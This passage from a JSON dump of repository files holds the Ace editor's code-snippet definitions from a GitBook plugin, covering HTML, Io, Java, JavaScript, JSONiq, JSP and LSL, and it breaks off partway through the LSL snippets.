script\\n\t<script type=\"text/javascript\" charset=\"utf-8\">\\n\t\t${1}\\n\t<\\/script>\\nsnippet scriptsrc\\n\t<script src=\"${1}.js\" type=\"text/javascript\" charset=\"utf-8\"><\\/script>\\nsnippet section\\n\t<section>\\n\t\t${1}\\n\t</section>\\nsnippet section.\\n\t<section class=\"${1}\">\\n\t\t${2}\\n\t</section>\\nsnippet section#\\n\t<section id=\"${1}\">\\n\t\t${2}\\n\t</section>\\nsnippet select\\n\t<select name=\"${1}\" id=\"${2:$1}\">\\n\t\t${3}\\n\t</select>\\nsnippet select.\\n\t<select name=\"${1}\" id=\"${2:$1}\" class=\"${3}>\\n\t\t${4}\\n\t</select>\\nsnippet select+\\n\t<select name=\"${1}\" id=\"${2:$1}\">\\n\t\t<option value=\"${3}\">${4:$3}</option>\\n\t\topt+${5}\\n\t</select>\\nsnippet small\\n\t<small>${1}</small>\\nsnippet source\\n\t<source src=\"${1}\" type=\"${2}\" media=\"${3}\" />\\nsnippet span\\n\t<span>${1}</span>\\nsnippet strong\\n\t<strong>${1}</strong>\\nsnippet style\\n\t<style type=\"text/css\" media=\"${1:all}\">\\n\t\t${2}\\n\t</style>\\nsnippet sub\\n\t<sub>${1}</sub>\\nsnippet summary\\n\t<summary>\\n\t\t${1}\\n\t</summary>\\nsnippet sup\\n\t<sup>${1}</sup>\\nsnippet table\\n\t<table border=\"${1:0}\">\\n\t\t${2}\\n\t</table>\\nsnippet table.\\n\t<table class=\"${1}\" border=\"${2:0}\">\\n\t\t${3}\\n\t</table>\\nsnippet table#\\n\t<table id=\"${1}\" border=\"${2:0}\">\\n\t\t${3}\\n\t</table>\\nsnippet tbody\\n\t<tbody>\\n\t\t${1}\\n\t</tbody>\\nsnippet td\\n\t<td>${1}</td>\\nsnippet td.\\n\t<td class=\"${1}\">${2}</td>\\nsnippet td#\\n\t<td id=\"${1}\">${2}</td>\\nsnippet td+\\n\t<td>${1}</td>\\n\ttd+${2}\\nsnippet textarea\\n\t<textarea name=\"${1}\" id=${2:$1} rows=\"${3:8}\" cols=\"${4:40}\">${5}</textarea>${6}\\nsnippet tfoot\\n\t<tfoot>\\n\t\t${1}\\n\t</tfoot>\\nsnippet th\\n\t<th>${1}</th>\\nsnippet th.\\n\t<th class=\"${1}\">${2}</th>\\nsnippet th#\\n\t<th id=\"${1}\">${2}</th>\\nsnippet th+\\n\t<th>${1}</th>\\n\tth+${2}\\nsnippet thead\\n\t<thead>\\n\t\t${1}\\n\t</thead>\\nsnippet time\\n\t<time datetime=\"${1}\" pubdate=\"${2:$1}>${3:$1}</time>\\nsnippet title\\n\t<title>${1:`substitute(Filename(\\'\\', \\'Page Title\\'), \\'^.\\', \\'\\\\u&\\', \\'\\')`}</title>\\nsnippet tr\\n\t<tr>\\n\t\t${1}\\n\t</tr>\\nsnippet tr+\\n\t<tr>\\n\t\t<td>${1}</td>\\n\t\ttd+${2}\\n\t</tr>\\nsnippet track\\n\t<track src=\"${1}\" srclang=\"${2}\" label=\"${3}\" default=\"${4:default}>${5}</track>${6}\\nsnippet ul\\n\t<ul>\\n\t\t${1}\\n\t</ul>\\nsnippet ul.\\n\t<ul class=\"${1}\">\\n\t\t${2}\\n\t</ul>\\nsnippet ul#\\n\t<ul id=\"${1}\">\\n\t\t${2}\\n\t</ul>\\nsnippet ul+\\n\t<ul>\\n\t\t<li>${1}</li>\\n\t\tli+${2}\\n\t</ul>\\nsnippet var\\n\t<var>${1}</var>\\nsnippet video\\n\t<video src=\"${1} height=\"${2}\" width=\"${3}\" preload=\"${5:none}\" autoplay=\"${6:autoplay}>${7}</video>${8}\\nsnippet wbr\\n\t<wbr />${1}\\n',t.scope=\"html\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/html_elixir.js",
    "content": "define(\"ace/snippets/html_elixir\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"html_elixir\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/html_ruby.js",
    "content": "define(\"ace/snippets/html_ruby\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"html_ruby\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/ini.js",
    "content": "define(\"ace/snippets/ini\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"ini\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/io.js",
    "content": "define(\"ace/snippets/io\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippets=[{content:\"assertEquals(${1:expected}, ${2:expr})\",name:\"assertEquals\",scope:\"io\",tabTrigger:\"ae\"},{content:\"${1:${2:newValue} := ${3:Object} }clone do(\\n\t$0\\n)\",name:\"clone do\",scope:\"io\",tabTrigger:\"cdo\"},{content:'docSlot(\"${1:slotName}\", \"${2:documentation}\")',name:\"docSlot\",scope:\"io\",tabTrigger:\"ds\"},{content:\"(${1:header,}\\n\t${2:body}\\n)$0\",keyEquivalent:\"@(\",name:\"Indented Bracketed Line\",scope:\"io\",tabTrigger:\"(\"},{content:\"\\n\t$0\\n\",keyEquivalent:\"\\r\",name:\"Special: Return Inside Empty Parenthesis\",scope:\"io meta.empty-parenthesis.io, io meta.comma-parenthesis.io\"},{content:\"${1:methodName} := method(${2:args,}\\n\t$0\\n)\",name:\"method\",scope:\"io\",tabTrigger:\"m\"},{content:'newSlot(\"${1:slotName}\", ${2:defaultValue}, \"${3:docString}\")$0',name:\"newSlot\",scope:\"io\",tabTrigger:\"ns\"},{content:\"${1:name} := Object clone do(\\n\t$0\\n)\",name:\"Object clone do\",scope:\"io\",tabTrigger:\"ocdo\"},{content:\"test${1:SomeFeature} := method(\\n\t$0\\n)\",name:\"testMethod\",scope:\"io\",tabTrigger:\"ts\"},{content:\"${1:Something}Test := ${2:UnitTest} clone do(\\n\t$0\\n)\",name:\"UnitTest\",scope:\"io\",tabTrigger:\"ut\"}],t.scope=\"io\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/jack.js",
    "content": "define(\"ace/snippets/jack\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"jack\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/jade.js",
    "content": "define(\"ace/snippets/jade\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"jade\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/java.js",
    "content": "define(\"ace/snippets/java\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='## Access Modifiers\\nsnippet po\\n\tprotected\\nsnippet pu\\n\tpublic\\nsnippet pr\\n\tprivate\\n##\\n## Annotations\\nsnippet before\\n\t@Before\\n\tstatic void ${1:intercept}(${2:args}) { ${3} }\\nsnippet mm\\n\t@ManyToMany\\n\t${1}\\nsnippet mo\\n\t@ManyToOne\\n\t${1}\\nsnippet om\\n\t@OneToMany${1:(cascade=CascadeType.ALL)}\\n\t${2}\\nsnippet oo\\n\t@OneToOne\\n\t${1}\\n##\\n## Basic Java packages and import\\nsnippet im\\n\timport\\nsnippet j.b\\n\tjava.beans.\\nsnippet j.i\\n\tjava.io.\\nsnippet j.m\\n\tjava.math.\\nsnippet j.n\\n\tjava.net.\\nsnippet j.u\\n\tjava.util.\\n##\\n## Class\\nsnippet cl\\n\tclass ${1:`Filename(\"\", \"untitled\")`} ${2}\\nsnippet in\\n\tinterface ${1:`Filename(\"\", \"untitled\")`} ${2:extends Parent}${3}\\nsnippet tc\\n\tpublic class ${1:`Filename()`} extends ${2:TestCase}\\n##\\n## Class Enhancements\\nsnippet ext\\n\textends \\nsnippet imp\\n\timplements\\n##\\n## Comments\\nsnippet /*\\n\t/*\\n\t * ${1}\\n\t */\\n##\\n## Constants\\nsnippet co\\n\tstatic public final ${1:String} ${2:var} = ${3};${4}\\nsnippet cos\\n\tstatic public final String ${1:var} = \"${2}\";${3}\\n##\\n## Control Statements\\nsnippet case\\n\tcase ${1}:\\n\t\t${2}\\nsnippet def\\n\tdefault:\\n\t\t${2}\\nsnippet el\\n\telse\\nsnippet elif\\n\telse if (${1}) ${2}\\nsnippet if\\n\tif (${1}) ${2}\\nsnippet sw\\n\tswitch (${1}) {\\n\t\t${2}\\n\t}\\n##\\n## Create a Method\\nsnippet m\\n\t${1:void} ${2:method}(${3}) ${4:throws }${5}\\n##\\n## Create a Variable\\nsnippet v\\n\t${1:String} ${2:var}${3: = null}${4};${5}\\n##\\n## Enhancements to Methods, variables, classes, etc.\\nsnippet ab\\n\tabstract\\nsnippet fi\\n\tfinal\\nsnippet st\\n\tstatic\\nsnippet sy\\n\tsynchronized\\n##\\n## Error Methods\\nsnippet err\\n\tSystem.err.print(\"${1:Message}\");\\nsnippet errf\\n\tSystem.err.printf(\"${1:Message}\", ${2:exception});\\nsnippet errln\\n\tSystem.err.println(\"${1:Message}\");\\n##\\n## Exception Handling\\nsnippet as\\n\tassert ${1:test} : \"${2:Failure message}\";${3}\\nsnippet ca\\n\tcatch(${1:Exception} ${2:e}) ${3}\\nsnippet thr\\n\tthrow\\nsnippet ths\\n\tthrows\\nsnippet try\\n\ttry {\\n\t\t${3}\\n\t} catch(${1:Exception} ${2:e}) {\\n\t}\\nsnippet tryf\\n\ttry {\\n\t\t${3}\\n\t} catch(${1:Exception} ${2:e}) {\\n\t} finally {\\n\t}\\n##\\n## Find Methods\\nsnippet findall\\n\tList<${1:listName}> ${2:items} = ${1}.findAll();${3}\\nsnippet findbyid\\n\t${1:var} ${2:item} = ${1}.findById(${3});${4}\\n##\\n## Javadocs\\nsnippet /**\\n\t/**\\n\t * ${1}\\n\t */\\nsnippet @au\\n\t@author `system(\"grep \\\\`id -un\\\\` /etc/passwd | cut -d \\\\\":\\\\\" -f5 | cut -d \\\\\",\\\\\" -f1\")`\\nsnippet @br\\n\t@brief ${1:Description}\\nsnippet @fi\\n\t@file ${1:`Filename()`}.java\\nsnippet @pa\\n\t@param ${1:param}\\nsnippet @re\\n\t@return ${1:param}\\n##\\n## Logger Methods\\nsnippet debug\\n\tLogger.debug(${1:param});${2}\\nsnippet error\\n\tLogger.error(${1:param});${2}\\nsnippet info\\n\tLogger.info(${1:param});${2}\\nsnippet warn\\n\tLogger.warn(${1:param});${2}\\n##\\n## Loops\\nsnippet enfor\\n\tfor (${1} : ${2}) ${3}\\nsnippet for\\n\tfor (${1}; ${2}; ${3}) ${4}\\nsnippet wh\\n\twhile (${1}) ${2}\\n##\\n## Main method\\nsnippet main\\n\tpublic static void main (String[] args) {\\n\t\t${1:/* code */}\\n\t}\\n##\\n## Print Methods\\nsnippet print\\n\tSystem.out.print(\"${1:Message}\");\\nsnippet printf\\n\tSystem.out.printf(\"${1:Message}\", ${2:args});\\nsnippet println\\n\tSystem.out.println(${1});\\n##\\n## Render Methods\\nsnippet ren\\n\trender(${1:param});${2}\\nsnippet rena\\n\trenderArgs.put(\"${1}\", ${2});${3}\\nsnippet renb\\n\trenderBinary(${1:param});${2}\\nsnippet renj\\n\trenderJSON(${1:param});${2}\\nsnippet renx\\n\trenderXml(${1:param});${2}\\n##\\n## Setter and Getter Methods\\nsnippet set\\n\t${1:public} void set${3:}(${2:String} ${4:}){\\n\t\tthis.$4 = $4;\\n\t}\\nsnippet get\\n\t${1:public} ${2:String} get${3:}(){\\n\t\treturn this.${4:};\\n\t}\\n##\\n## Terminate Methods or Loops\\nsnippet re\\n\treturn\\nsnippet br\\n\tbreak;\\n##\\n## Test Methods\\nsnippet t\\n\tpublic void test${1:Name}() throws Exception {\\n\t\t${2}\\n\t}\\nsnippet test\\n\t@Test\\n\tpublic void test${1:Name}() throws Exception {\\n\t\t${2}\\n\t}\\n##\\n## Utils\\nsnippet Sc\\n\tScanner\\n##\\n## Miscellaneous\\nsnippet action\\n\tpublic static void ${1:index}(${2:args}) { ${3} }\\nsnippet rnf\\n\tnotFound(${1:param});${2}\\nsnippet rnfin\\n\tnotFoundIfNull(${1:param});${2}\\nsnippet rr\\n\tredirect(${1:param});${2}\\nsnippet ru\\n\tunauthorized(${1:param});${2}\\nsnippet unless\\n\t(unless=${1:param});${2}\\n',t.scope=\"java\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/javascript.js",
    "content": "define(\"ace/snippets/javascript\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='# Prototype\\nsnippet proto\\n\t${1:class_name}.prototype.${2:method_name} = function(${3:first_argument}) {\\n\t\t${4:// body...}\\n\t};\\n# Function\\nsnippet fun\\n\tfunction ${1?:function_name}(${2:argument}) {\\n\t\t${3:// body...}\\n\t}\\n# Anonymous Function\\nregex /((=)\\\\s*|(:)\\\\s*|(\\\\()|\\\\b)/f/(\\\\))?/\\nsnippet f\\n\tfunction${M1?: ${1:functionName}}($2) {\\n\t\t${0:$TM_SELECTED_TEXT}\\n\t}${M2?;}${M3?,}${M4?)}\\n# Immediate function\\ntrigger \\\\(?f\\\\(\\nendTrigger \\\\)?\\nsnippet f(\\n\t(function(${1}) {\\n\t\t${0:${TM_SELECTED_TEXT:/* code */}}\\n\t}(${1}));\\n# if\\nsnippet if\\n\tif (${1:true}) {\\n\t\t${0}\\n\t}\\n# if ... else\\nsnippet ife\\n\tif (${1:true}) {\\n\t\t${2}\\n\t} else {\\n\t\t${0}\\n\t}\\n# tertiary conditional\\nsnippet ter\\n\t${1:/* condition */} ? ${2:a} : ${3:b}\\n# switch\\nsnippet switch\\n\tswitch (${1:expression}) {\\n\t\tcase \\'${3:case}\\':\\n\t\t\t${4:// code}\\n\t\t\tbreak;\\n\t\t${5}\\n\t\tdefault:\\n\t\t\t${2:// code}\\n\t}\\n# case\\nsnippet case\\n\tcase \\'${1:case}\\':\\n\t\t${2:// code}\\n\t\tbreak;\\n\t${3}\\n\\n# while (...) {...}\\nsnippet wh\\n\twhile (${1:/* condition */}) {\\n\t\t${0:/* code */}\\n\t}\\n# try\\nsnippet try\\n\ttry {\\n\t\t${0:/* code */}\\n\t} catch (e) {}\\n# do...while\\nsnippet do\\n\tdo {\\n\t\t${2:/* code */}\\n\t} while (${1:/* condition */});\\n# Object Method\\nsnippet :f\\nregex /([,{[])|^\\\\s*/:f/\\n\t${1:method_name}: function(${2:attribute}) {\\n\t\t${0}\\n\t}${3:,}\\n# setTimeout function\\nsnippet setTimeout\\nregex /\\\\b/st|timeout|setTimeo?u?t?/\\n\tsetTimeout(function() {${3:$TM_SELECTED_TEXT}}, ${1:10});\\n# Get Elements\\nsnippet gett\\n\tgetElementsBy${1:TagName}(\\'${2}\\')${3}\\n# Get Element\\nsnippet get\\n\tgetElementBy${1:Id}(\\'${2}\\')${3}\\n# console.log (Firebug)\\nsnippet cl\\n\tconsole.log(${1});\\n# return\\nsnippet ret\\n\treturn ${1:result}\\n# for (property in object ) { ... }\\nsnippet fori\\n\tfor (var ${1:prop} in ${2:Things}) {\\n\t\t${0:$2[$1]}\\n\t}\\n# hasOwnProperty\\nsnippet has\\n\thasOwnProperty(${1})\\n# docstring\\nsnippet /**\\n\t/**\\n\t * ${1:description}\\n\t *\\n\t */\\nsnippet @par\\nregex /^\\\\s*\\\\*\\\\s*/@(para?m?)?/\\n\t@param {${1:type}} ${2:name} ${3:description}\\nsnippet @ret\\n\t@return {${1:type}} ${2:description}\\n# JSON.parse\\nsnippet jsonp\\n\tJSON.parse(${1:jstr});\\n# JSON.stringify\\nsnippet jsons\\n\tJSON.stringify(${1:object});\\n# self-defining function\\nsnippet sdf\\n\tvar ${1:function_name} = function(${2:argument}) {\\n\t\t${3:// initial code ...}\\n\\n\t\t$1 = function($2) {\\n\t\t\t${4:// main code}\\n\t\t};\\n\t}\\n# singleton\\nsnippet sing\\n\tfunction ${1:Singleton} (${2:argument}) {\\n\t\t// the cached instance\\n\t\tvar instance;\\n\\n\t\t// rewrite the constructor\\n\t\t$1 = function $1($2) {\\n\t\t\treturn instance;\\n\t\t};\\n\t\t\\n\t\t// carry over the prototype properties\\n\t\t$1.prototype = this;\\n\\n\t\t// the instance\\n\t\tinstance = new $1();\\n\\n\t\t// reset the constructor pointer\\n\t\tinstance.constructor = $1;\\n\\n\t\t${3:// code ...}\\n\\n\t\treturn instance;\\n\t}\\n# class\\nsnippet class\\nregex /^\\\\s*/clas{0,2}/\\n\tvar ${1:class} = function(${20}) {\\n\t\t$40$0\\n\t};\\n\t\\n\t(function() {\\n\t\t${60:this.prop = \"\"}\\n\t}).call(${1:class}.prototype);\\n\t\\n\texports.${1:class} = ${1:class};\\n# \\nsnippet for-\\n\tfor (var ${1:i} = ${2:Things}.length; ${1:i}--; ) {\\n\t\t${0:${2:Things}[${1:i}];}\\n\t}\\n# for (...) {...}\\nsnippet for\\n\tfor (var ${1:i} = 0; $1 < ${2:Things}.length; $1++) {\\n\t\t${3:$2[$1]}$0\\n\t}\\n# for (...) {...} (Improved Native For-Loop)\\nsnippet forr\\n\tfor (var ${1:i} = ${2:Things}.length - 1; $1 >= 0; $1--) {\\n\t\t${3:$2[$1]}$0\\n\t}\\n\\n\\n#modules\\nsnippet def\\n\tdefine(function(require, exports, module) {\\n\t\"use strict\";\\n\tvar ${1/.*\\\\///} = require(\"${1}\");\\n\t\\n\t$TM_SELECTED_TEXT\\n\t});\\nsnippet req\\nguard ^\\\\s*\\n\tvar ${1/.*\\\\///} = require(\"${1}\");\\n\t$0\\nsnippet requ\\nguard ^\\\\s*\\n\tvar ${1/.*\\\\/(.)/\\\\u$1/} = require(\"${1}\").${1/.*\\\\/(.)/\\\\u$1/};\\n\t$0\\n',t.scope=\"javascript\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/json.js",
    "content": "define(\"ace/snippets/json\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"json\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/jsoniq.js",
    "content": "define(\"ace/snippets/jsoniq\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='snippet for\\n\tfor $${1:item} in ${2:expr}\\nsnippet return\\n\treturn ${1:expr}\\nsnippet import\\n\timport module namespace ${1:ns} = \"${2:http://www.example.com/}\";\\nsnippet some\\n\tsome $${1:varname} in ${2:expr} satisfies ${3:expr}\\nsnippet every\\n\tevery $${1:varname} in ${2:expr} satisfies ${3:expr}\\nsnippet if\\n\tif(${1:true}) then ${2:expr} else ${3:true}\\nsnippet switch\\n\tswitch(${1:\"foo\"})\\n\tcase ${2:\"foo\"}\\n\treturn ${3:true}\\n\tdefault return ${4:false}\\nsnippet try\\n\ttry { ${1:expr} } catch ${2:*} { ${3:expr} }\\nsnippet tumbling\\n\tfor tumbling window $${1:varname} in ${2:expr}\\n\tstart at $${3:start} when ${4:expr}\\n\tend at $${5:end} when ${6:expr}\\n\treturn ${7:expr}\\nsnippet sliding\\n\tfor sliding window $${1:varname} in ${2:expr}\\n\tstart at $${3:start} when ${4:expr}\\n\tend at $${5:end} when ${6:expr}\\n\treturn ${7:expr}\\nsnippet let\\n\tlet $${1:varname} := ${2:expr}\\nsnippet group\\n\tgroup by $${1:varname} := ${2:expr}\\nsnippet order\\n\torder by ${1:expr} ${2:descending}\\nsnippet stable\\n\tstable order by ${1:expr}\\nsnippet count\\n\tcount $${1:varname}\\nsnippet ordered\\n\tordered { ${1:expr} }\\nsnippet unordered\\n\tunordered { ${1:expr} }\\nsnippet treat \\n\ttreat as ${1:expr}\\nsnippet castable\\n\tcastable as ${1:atomicType}\\nsnippet cast\\n\tcast as ${1:atomicType}\\nsnippet typeswitch\\n\ttypeswitch(${1:expr})\\n\tcase ${2:type}  return ${3:expr}\\n\tdefault return ${4:expr}\\nsnippet var\\n\tdeclare variable $${1:varname} := ${2:expr};\\nsnippet fn\\n\tdeclare function ${1:ns}:${2:name}(){\\n\t${3:expr}\\n\t};\\nsnippet module\\n\tmodule namespace ${1:ns} = \"${2:http://www.example.com}\";\\n',t.scope=\"jsoniq\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/jsp.js",
    "content": "define(\"ace/snippets/jsp\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='snippet @page\\n\t<%@page contentType=\"text/html\" pageEncoding=\"UTF-8\"%>\\nsnippet jstl\\n\t<%@ taglib uri=\"http://java.sun.com/jsp/jstl/core\" prefix=\"c\" %>\\n\t<%@ taglib uri=\"http://java.sun.com/jsp/jstl/functions\" prefix=\"fn\" %>\\nsnippet jstl:c\\n\t<%@ taglib uri=\"http://java.sun.com/jsp/jstl/core\" prefix=\"c\" %>\\nsnippet jstl:fn\\n\t<%@ taglib uri=\"http://java.sun.com/jsp/jstl/functions\" prefix=\"fn\" %>\\nsnippet cpath\\n\t${pageContext.request.contextPath}\\nsnippet cout\\n\t<c:out value=\"${1}\" default=\"${2}\" />\\nsnippet cset\\n\t<c:set var=\"${1}\" value=\"${2}\" />\\nsnippet cremove\\n\t<c:remove var=\"${1}\" scope=\"${2:page}\" />\\nsnippet ccatch\\n\t<c:catch var=\"${1}\" />\\nsnippet cif\\n\t<c:if test=\"${${1}}\">\\n\t\t${2}\\n\t</c:if>\\nsnippet cchoose\\n\t<c:choose>\\n\t\t${1}\\n\t</c:choose>\\nsnippet cwhen\\n\t<c:when test=\"${${1}}\">\\n\t\t${2}\\n\t</c:when>\\nsnippet cother\\n\t<c:otherwise>\\n\t\t${1}\\n\t</c:otherwise>\\nsnippet cfore\\n\t<c:forEach items=\"${${1}}\" var=\"${2}\" varStatus=\"${3}\">\\n\t\t${4:<c:out value=\"$2\" />}\\n\t</c:forEach>\\nsnippet cfort\\n\t<c:set var=\"${1}\">${2:item1,item2,item3}</c:set>\\n\t<c:forTokens var=\"${3}\" items=\"${$1}\" delims=\"${4:,}\">\\n\t\t${5:<c:out value=\"$3\" />}\\n\t</c:forTokens>\\nsnippet cparam\\n\t<c:param name=\"${1}\" value=\"${2}\" />\\nsnippet cparam+\\n\t<c:param name=\"${1}\" value=\"${2}\" />\\n\tcparam+${3}\\nsnippet cimport\\n\t<c:import url=\"${1}\" />\\nsnippet cimport+\\n\t<c:import url=\"${1}\">\\n\t\t<c:param name=\"${2}\" value=\"${3}\" />\\n\t\tcparam+${4}\\n\t</c:import>\\nsnippet curl\\n\t<c:url value=\"${1}\" var=\"${2}\" />\\n\t<a href=\"${$2}\">${3}</a>\\nsnippet curl+\\n\t<c:url value=\"${1}\" var=\"${2}\">\\n\t\t<c:param name=\"${4}\" value=\"${5}\" />\\n\t\tcparam+${6}\\n\t</c:url>\\n\t<a href=\"${$2}\">${3}</a>\\nsnippet credirect\\n\t<c:redirect url=\"${1}\" />\\nsnippet contains\\n\t${fn:contains(${1:string}, ${2:substr})}\\nsnippet contains:i\\n\t${fn:containsIgnoreCase(${1:string}, ${2:substr})}\\nsnippet endswith\\n\t${fn:endsWith(${1:string}, ${2:suffix})}\\nsnippet escape\\n\t${fn:escapeXml(${1:string})}\\nsnippet indexof\\n\t${fn:indexOf(${1:string}, ${2:substr})}\\nsnippet join\\n\t${fn:join(${1:collection}, ${2:delims})}\\nsnippet length\\n\t${fn:length(${1:collection_or_string})}\\nsnippet replace\\n\t${fn:replace(${1:string}, ${2:substr}, ${3:replace})}\\nsnippet split\\n\t${fn:split(${1:string}, ${2:delims})}\\nsnippet startswith\\n\t${fn:startsWith(${1:string}, ${2:prefix})}\\nsnippet substr\\n\t${fn:substring(${1:string}, ${2:begin}, ${3:end})}\\nsnippet substr:a\\n\t${fn:substringAfter(${1:string}, ${2:substr})}\\nsnippet substr:b\\n\t${fn:substringBefore(${1:string}, ${2:substr})}\\nsnippet lc\\n\t${fn:toLowerCase(${1:string})}\\nsnippet uc\\n\t${fn:toUpperCase(${1:string})}\\nsnippet trim\\n\t${fn:trim(${1:string})}\\n',t.scope=\"jsp\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/jsx.js",
    "content": "define(\"ace/snippets/jsx\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"jsx\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/julia.js",
    "content": "define(\"ace/snippets/julia\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"julia\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/latex.js",
    "content": "define(\"ace/snippets/latex\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"latex\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/lean.js",
    "content": "define(\"ace/snippets/lean\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"lean\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/less.js",
    "content": "define(\"ace/snippets/less\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"less\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/liquid.js",
    "content": "define(\"ace/snippets/liquid\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"liquid\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/lisp.js",
    "content": "define(\"ace/snippets/lisp\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"lisp\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/live_script.js",
    "content": "define(\"ace/snippets/live_script\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/livescript.js",
    "content": "define(\"ace/snippets/livescript\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"livescript\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/logiql.js",
    "content": "define(\"ace/snippets/logiql\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"logiql\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/lsl.js",
    "content": "define(\"ace/snippets/lsl\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"snippet @\\n\t@${1:label};\\nsnippet CAMERA_ACTIVE\\n\tCAMERA_ACTIVE, ${1:integer isActive}, $0\\nsnippet CAMERA_BEHINDNESS_ANGLE\\n\tCAMERA_BEHINDNESS_ANGLE, ${1:float degrees}, $0\\nsnippet CAMERA_BEHINDNESS_LAG\\n\tCAMERA_BEHINDNESS_LAG, ${1:float seconds}, $0\\nsnippet CAMERA_DISTANCE\\n\tCAMERA_DISTANCE, ${1:float meters}, $0\\nsnippet CAMERA_FOCUS\\n\tCAMERA_FOCUS, ${1:vector position}, $0\\nsnippet CAMERA_FOCUS_LAG\\n\tCAMERA_FOCUS_LAG, ${1:float seconds}, $0\\nsnippet CAMERA_FOCUS_LOCKED\\n\tCAMERA_FOCUS_LOCKED, ${1:integer isLocked}, $0\\nsnippet CAMERA_FOCUS_OFFSET\\n\tCAMERA_FOCUS_OFFSET, ${1:vector meters}, $0\\nsnippet CAMERA_FOCUS_THRESHOLD\\n\tCAMERA_FOCUS_THRESHOLD, ${1:float meters}, $0\\nsnippet CAMERA_PITCH\\n\tCAMERA_PITCH, ${1:float degrees}, $0\\nsnippet CAMERA_POSITION\\n\tCAMERA_POSITION, ${1:vector position}, $0\\nsnippet CAMERA_POSITION_LAG\\n\tCAMERA_POSITION_LAG, ${1:float seconds}, $0\\nsnippet CAMERA_POSITION_LOCKED\\n\tCAMERA_POSITION_LOCKED, ${1:integer isLocked}, $0\\nsnippet CAMERA_POSITION_THRESHOLD\\n\tCAMERA_POSITION_THRESHOLD, ${1:float meters}, $0\\nsnippet CHARACTER_AVOIDANCE_MODE\\n\tCHARACTER_AVOIDANCE_MODE, ${1:integer flags}, $0\\nsnippet CHARACTER_DESIRED_SPEED\\n\tCHARACTER_DESIRED_SPEED, ${1:float speed}, $0\\nsnippet CHARACTER_DESIRED_TURN_SPEED\\n\tCHARACTER_DESIRED_TURN_SPEED, ${1:float speed}, $0\\nsnippet CHARACTER_LENGTH\\n\tCHARACTER_LENGTH, ${1:float length}, $0\\nsnippet CHARACTER_MAX_TURN_RADIUS\\n\tCHARACTER_MAX_TURN_RADIUS, ${1:float radius}, $0\\nsnippet CHARACTER_ORIENTATION\\n\tCHARACTER_ORIENTATION, ${1:integer orientation}, $0\\nsnippet CHARACTER_RADIUS\\n\tCHARACTER_RADIUS, ${1:float radius}, $0\\nsnippet CHARACTER_STAY_WITHIN_PARCEL\\n\tCHARACTER_STAY_WITHIN_PARCEL, ${1:boolean stay}, $0\\nsnippet CHARACTER_TYPE\\n\tCHARACTER_TYPE, ${1:integer type}, $0\\nsnippet HTTP_BODY_MAXLENGTH\\n\tHTTP_BODY_MAXLENGTH, ${1:integer length}, $0\\nsnippet HTTP_CUSTOM_HEADER\\n\tHTTP_CUSTOM_HEADER, ${1:string name}, ${2:string value}, $0\\nsnippet HTTP_METHOD\\n\tHTTP_METHOD, ${1:string method}, $0\\nsnippet 